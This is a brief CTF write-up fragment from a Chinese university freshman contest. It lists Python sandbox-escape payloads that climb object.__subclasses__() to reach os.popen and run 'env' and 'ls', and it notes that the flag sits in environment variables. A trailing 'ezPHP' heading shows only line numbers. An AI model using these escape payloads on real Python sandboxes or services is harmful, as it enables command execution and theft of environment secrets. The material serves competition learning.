中国海洋大学新生赛
菜狗工具#1123print(dir(['__builtins__']).__dir__.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read())得到flag 在环境变量里面
菜狗工具#212345print(dir('__builtins__').__dir__.__class__.__base__.__subclasses__()[133])print(dir('__builtins__').__dir__.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read())等待wp
ezPHP123456789101112131415161718192021222324252627282930313233343536 ...